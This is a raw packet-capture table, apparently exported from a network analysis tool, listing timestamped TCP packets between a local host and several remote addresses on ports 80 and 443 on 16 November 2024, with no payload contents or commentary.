Nov 16, 2024 19:22:31.489106894 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.489113092 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.489120960 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.489135027 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.489139080 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.489146948 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.489160061 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.489175081 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.489176989 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.489187002 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.489197016 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.489213943 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.489237070 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.519356966 CET	443	49843	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.527160883 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.527214050 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.527251005 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.527276039 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.527288914 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.527327061 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.531986952 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:31.532015085 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:31.532205105 CET	49834	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:31.532205105 CET	49834	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:31.532279015 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:31.532341003 CET	49834	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:31.552407980 CET	443	49844	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.552855968 CET	49844	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.552910089 CET	443	49844	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.553328991 CET	49844	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.553340912 CET	443	49844	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.558088064 CET	443	49839	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.558317900 CET	443	49839	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.558382988 CET	49839	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.558435917 CET	49839	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.558435917 CET	49839	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.558471918 CET	443	49839	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.558495045 CET	443	49839	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.561748981 CET	49856	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.561779022 CET	443	49856	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.561955929 CET	49856	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.562371016 CET	443	49841	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.562560081 CET	443	49841	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.562607050 CET	49841	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.562707901 CET	49856	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.562721968 CET	443	49856	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.562884092 CET	49841	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.562896013 CET	443	49841	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.562916040 CET	49841	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.562921047 CET	443	49841	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.564115047 CET	443	49842	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.564152956 CET	443	49842	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.564218998 CET	49842	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.564357042 CET	49842	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.564404011 CET	443	49842	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.564434052 CET	49842	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.564450979 CET	443	49842	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.566411018 CET	49857	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.566441059 CET	443	49857	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.566504955 CET	49858	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.566519022 CET	443	49858	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.566564083 CET	49858	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.566586018 CET	49857	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.566692114 CET	49858	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.566704035 CET	443	49858	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.566961050 CET	49857	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.566971064 CET	443	49857	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.578443050 CET	443	49840	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.578788042 CET	443	49840	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.578843117 CET	49840	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.578871012 CET	49840	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.578876972 CET	443	49840	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.578886032 CET	49840	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.578891039 CET	443	49840	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.580791950 CET	49859	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.580811977 CET	443	49859	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.580987930 CET	49859	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.581209898 CET	49859	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.581221104 CET	443	49859	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.638590097 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.638613939 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.638637066 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.638652086 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.638650894 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.638673067 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.638690948 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.638726950 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.638741970 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.638756990 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.638771057 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.638777018 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.638792992 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.638822079 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.639045954 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.639060974 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.639085054 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.639105082 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.639178991 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.639220953 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.639347076 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.639499903 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.639513016 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.639550924 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.639647007 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.639658928 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.639672995 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.639681101 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.639703989 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.639710903 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.639719009 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.639734030 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.639738083 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.639758110 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.639775991 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.639780998 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.639848948 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.639920950 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.639956951 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.640070915 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.640085936 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.640100956 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.640114069 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.640116930 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.640127897 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.640131950 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.640166044 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.640538931 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.640553951 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.640568972 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.640583992 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.640594006 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.640599012 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.640610933 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.640614986 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.640630007 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.640639067 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.640650988 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.640665054 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.640672922 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.640681028 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.640687943 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.640703917 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.640711069 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.640718937 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.640723944 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.640738964 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.640741110 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.640754938 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.640768051 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.640770912 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.640780926 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.640795946 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.640796900 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.640813112 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.640820026 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.640830040 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.640842915 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.640852928 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.640861034 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.640873909 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.640875101 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.640889883 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.640909910 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.640911102 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.640909910 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.640925884 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.640927076 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.640944004 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.640949011 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.640958071 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.640964031 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.640976906 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.640990019 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.640999079 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.641006947 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.641012907 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.641026974 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.641033888 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.641041994 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.641055107 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.641055107 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.641068935 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.641077042 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.641083002 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.641091108 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.641098976 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.641105890 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.641114950 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.641119957 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.641134024 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.641140938 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.641148090 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.641160011 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.641160011 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.641175032 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.641181946 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.641190052 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.641202927 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.641210079 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.641223907 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.641247034 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.641555071 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.641577959 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.641592979 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.641607046 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.641614914 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.641622066 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.641635895 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.641640902 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.641657114 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.641685963 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.641705990 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.641720057 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.641733885 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.641742945 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.641765118 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.641769886 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.641788960 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.641793013 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.641803026 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.641807079 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.641824007 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.641841888 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.641932011 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.641946077 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.641961098 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.641978979 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.642004013 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642013073 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.642019033 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642039061 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.642062902 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.642070055 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642083883 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642098904 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642100096 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.642119884 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.642138958 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.642138958 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642153025 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642172098 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.642189980 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.642194033 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642210960 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642235041 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.642256975 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.642262936 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642277956 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642302990 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.642312050 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642324924 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642340899 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642340899 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.642359018 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.642363071 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642375946 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642384052 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.642407894 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.642422915 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.642571926 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642585993 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642607927 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642621994 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642635107 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.642637968 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642642975 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.642652035 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642666101 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642679930 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642680883 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.642694950 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642700911 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.642709017 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642723083 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.642724037 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642746925 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.642774105 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.642795086 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642808914 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642823935 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642838001 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642843008 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.642852068 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642860889 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.642868042 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642887115 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.642896891 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642915010 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.642961025 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.642970085 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.642976999 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.643013954 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.643028975 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.643042088 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.643064022 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.643064022 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.643076897 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.643079042 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.643094063 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.643096924 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.643115044 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.643127918 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.643193960 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.643208981 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.643223047 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.643238068 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.643251896 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.643320084 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.643335104 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.643351078 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.643372059 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.643383026 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.643492937 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.643544912 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.643558979 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.643574953 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.643578053 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.643610954 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.643627882 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.643641949 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.643677950 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.643677950 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.643692017 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.643731117 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.643929005 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.643968105 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.643986940 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.643999100 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.644166946 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.644181967 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.644205093 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.644216061 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.644220114 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.644223928 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.644234896 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.644241095 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.644248009 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.644260883 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.644264936 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.644274950 CET	80	49770	185.215.113.206	192.168.2.5
